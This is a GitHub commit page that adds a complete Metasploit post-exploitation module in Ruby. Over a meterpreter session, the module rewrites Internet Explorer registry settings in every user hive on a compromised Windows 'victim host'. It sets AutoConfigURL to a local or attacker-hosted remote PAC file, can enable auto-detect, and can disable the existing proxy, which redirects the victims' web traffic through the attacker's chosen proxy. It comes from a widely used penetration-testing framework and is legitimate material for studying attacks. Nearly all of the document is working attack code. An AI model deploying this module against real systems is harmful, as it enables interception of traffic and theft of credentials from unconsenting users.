Skip to content

Commit 2bcdb1b

Browse files
committed
Land rapid7#2719, @bmerinofe's ie_proxypac post module
2 parents bf83161 + 374e40c commit 2bcdb1b

File tree

1 file changed

+200
-0
lines changed

1 file changed

+200
-0
lines changed
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::Windows::Priv
12+
include Msf::Post::File
13+
include Msf::Post::Windows::Registry
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Windows Manage Proxy PAC File',
18+
'Description' => %q{
19+
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
20+
option, a PAC file will be created in the victim host. It's also possible to provide a
21+
remote PAC file (REMOTE_PAC option) by providing the full URL.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
25+
'References' =>
26+
[
27+
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
28+
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
29+
],
30+
'Platform' => [ 'windows' ],
31+
'SessionTypes' => [ 'meterpreter' ]
32+
))
33+
34+
register_options(
35+
[
36+
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
37+
OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
38+
OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
39+
OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
40+
], self.class)
41+
end
42+
43+
def run
44+
if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
45+
print_error("You must set a remote or local PAC file. Aborting...")
46+
return
47+
end
48+
49+
if datastore['REMOTE_PAC']
50+
@remote = true
51+
print_status("Setting automatic configuration script from a remote PAC file ...")
52+
res = enable_proxypac(datastore['REMOTE_PAC'])
53+
unless res
54+
print_error("Error while setting an automatic configuration script. Aborting...")
55+
return
56+
end
57+
else
58+
@remote = false
59+
print_status("Setting automatic configuration script from local PAC file ...")
60+
pac_file = create_pac(datastore['LOCAL_PAC'])
61+
unless pac_file
62+
print_error("There were problems creating the PAC proxy file. Aborting...")
63+
return
64+
end
65+
res = enable_proxypac(pac_file)
66+
unless res
67+
print_error("Error while setting an automatic configuration script. Aborting...")
68+
return
69+
end
70+
end
71+
72+
print_good("Automatic configuration script configured...")
73+
74+
if datastore['AUTO_DETECT']
75+
print_status("Enabling Automatically Detect Settings...")
76+
unless auto_detect_on
77+
print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
78+
end
79+
end
80+
81+
if datastore['DISABLE_PROXY']
82+
print_status("Disabling the Proxy Server...")
83+
unless disable_proxy
84+
print_error("Failed to disable Proxy Server. Proceeding anyway...")
85+
end
86+
end
87+
end
88+
89+
def create_pac(local_pac)
90+
pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
91+
conf_pac = ""
92+
93+
if ::File.exists?(local_pac)
94+
conf_pac << ::File.open(local_pac, "rb").read
95+
else
96+
print_error("Local PAC file not found.")
97+
return false
98+
end
99+
100+
if write_file(pac_file,conf_pac)
101+
print_status("PAC proxy configuration file written to #{pac_file}")
102+
return pac_file
103+
else
104+
return false
105+
end
106+
107+
end
108+
109+
def enable_proxypac(pac)
110+
proxy_pac_enabled = false
111+
112+
registry_enumkeys('HKU').each do |k|
113+
next unless k.include? "S-1-5-21"
114+
next if k.include? "_Classes"
115+
116+
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
117+
value_auto = "AutoConfigURL"
118+
file = (@remote) ? "#{pac}" : "file://#{pac}"
119+
120+
begin
121+
res = registry_setvaldata(key,value_auto,file,"REG_SZ")
122+
rescue ::RuntimeError, Rex::TimeoutError
123+
next
124+
end
125+
126+
if res.nil? # Rex::Post::Meterpreter::RequestError
127+
next
128+
end
129+
130+
if change_connection(16,'05',key + '\\Connections')
131+
proxy_pac_enabled = true
132+
end
133+
end
134+
135+
if proxy_pac_enabled
136+
return true
137+
else
138+
return false
139+
end
140+
end
141+
142+
def auto_detect_on
143+
auto_detect_enabled = false
144+
145+
registry_enumkeys('HKU').each do |k|
146+
next unless k.include? "S-1-5-21"
147+
next if k.include? "_Classes"
148+
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
149+
if change_connection(16,'0D',key)
150+
print_good ("Automatically Detect Settings on.")
151+
auto_detect_enabled = true
152+
end
153+
end
154+
155+
if auto_detect_enabled
156+
return true
157+
else
158+
return false
159+
end
160+
end
161+
162+
def disable_proxy
163+
value_enable = "ProxyEnable"
164+
profile = false
165+
166+
registry_enumkeys('HKU').each do |k|
167+
next unless k.include? "S-1-5-21"
168+
next if k.include? "_Classes"
169+
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
170+
begin
171+
registry_setvaldata(key,value_enable,0,"REG_DWORD")
172+
profile = true
173+
rescue ::RuntimeError, Rex::TimeoutError
174+
next
175+
end
176+
end
177+
178+
if profile
179+
print_good("Proxy disabled.")
180+
return true
181+
else
182+
return false
183+
end
184+
end
185+
186+
def change_connection(offset, value, key)
187+
value_default = "DefaultConnectionSettings"
188+
begin
189+
value_con = registry_getvaldata(key, value_default)
190+
binary_data = value_con.unpack('H*')[0]
191+
binary_data[offset,2] = value
192+
registry_setvaldata(key, value_default, ["%x" % binary_data.to_i(16)].pack("H*"), "REG_BINARY")
193+
rescue ::RuntimeError, Rex::TimeoutError
194+
return false
195+
end
196+
197+
return true
198+
end
199+
200+
end

0 commit comments

Comments
 (0)